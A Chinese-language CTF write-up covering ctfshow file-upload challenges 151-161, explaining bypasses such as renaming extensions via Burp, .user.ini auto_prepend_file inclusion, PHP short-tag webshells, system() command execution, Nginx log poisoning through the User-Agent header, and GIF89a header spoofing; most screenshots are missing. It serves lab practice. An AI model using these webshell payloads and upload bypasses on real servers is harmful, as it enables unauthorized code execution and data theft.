ctfshow 文件上传 151-161

文件上传也好久没做了。。

手很生了

151  前端绕过

只能上传png文件

ctfshow 文件上传 151-161_第1张图片

使用bp抓包,修改文件名后缀为php

ctfshow 文件上传 151-161_第2张图片

上传成功,发现文件上传路径

使用蚁剑连接

找到flagctfshow 文件上传 151-161_第3张图片

152

ctfshow 文件上传 151-161_第4张图片

152  后端校验

跟上一关一样

@ 表示后面即使执行错误,也不报错

抓包修改文件后缀名

ctfshow 文件上传 151-161_第5张图片

 蚁剑ctfshow 文件上传 151-161_第6张图片

153  .user.ini绕过

php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,通常用这个文件来构造后门和隐藏后门。

利用.user.ini,要求目标目录下必须包含php文件,这题的目标目录有一个index.php文件

.user.ini中两个中的配置就是auto_prepend_fileauto_append_file。这两个配置的意思就是:我们指定一个文件(如1.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),相当于在index.php中插入一句:require(./1.jpg)。这两个设置的区别只是在于auto_prepend_file是在文件前插入,auto_append_file在文件最后插入。
 

我们先上传一个内容为auto_prepend_file=1.png的png文件,意思就是使1.png包含在目标目录的php文件中,然后再上传一句话木马(1.png),蚁剑访问url/upload/index.php连接成功

先上传一个png文件,然后修改文件名还有内容

auto_prepend_file=1.png

first 先上传1.png(不然传不上)

然后修改内容与文件名,上传.user.ini

ctfshow 文件上传 151-161_第7张图片

然后上传1.png木马

ctfshow 文件上传 151-161_第8张图片

访问一下看看,已经上传成功ctfshow 文件上传 151-161_第9张图片

用蚁剑连接 /index.phpctfshow 文件上传 151-161_第10张图片

154 短标签绕过+.user.ini绕过

ctfshow 文件上传 151-161_第11张图片

上传1.png

短标签



<% eval($_POST[1]);%>

ctfshow 文件上传 151-161_第12张图片 传参访问一下看看

ctfshow 文件上传 151-161_第13张图片

蚁剑

ctfshow 文件上传 151-161_第14张图片

155 同154

ctfshow 文件上传 151-161_第15张图片

ctfshow 文件上传 151-161_第16张图片 懒得连接了,直接命令执行

1=system('tac ../flag.php');

ctfshow 文件上传 151-161_第17张图片

 156  过滤[]ctfshow 文件上传 151-161_第18张图片

 使用原来的段标签没有上传成功ctfshow 文件上传 151-161_第19张图片

ctfshow 文件上传 151-161_第20张图片 

说是因为[]被过滤了

把[]改成{}

上传成功

ctfshow 文件上传 151-161_第21张图片

命令执行

ctfshow 文件上传 151-161_第22张图片 

157 命令执行

一样先上传.user.ini

ctfshow 文件上传 151-161_第23张图片

这里发现{}也被过滤了

ctfshow 文件上传 151-161_第24张图片只能直接命令执行

ctfshow 文件上传 151-161_第25张图片

访问一下

158 命令执行

ctfshow 文件上传 151-161_第26张图片

还是命令执行

ctfshow 文件上传 151-161_第27张图片 

 

159 命令执行

ctfshow 文件上传 151-161_第28张图片

ctfshow 文件上传 151-161_第29张图片 

 

160 日志包含绕过

空格被过滤了

ctfshow 文件上传 151-161_第30张图片

 

Nginx日志的默认路径:

/var/log/nginx/
 (log被过滤)

 在UA头写一句话木马

ctfshow 文件上传 151-161_第31张图片

 直接访问/index.php

 

161 文件头绕过

发现直接这样传不上

ctfshow 文件上传 151-161_第32张图片

需要加GIF89a 才能上传成功

ctfshow 文件上传 151-161_第33张图片 1.png也是一样的,加个GIF89a图片头

ctfshow 文件上传 151-161_第34张图片

 直接访问,就有flag

你可能感兴趣的:(android)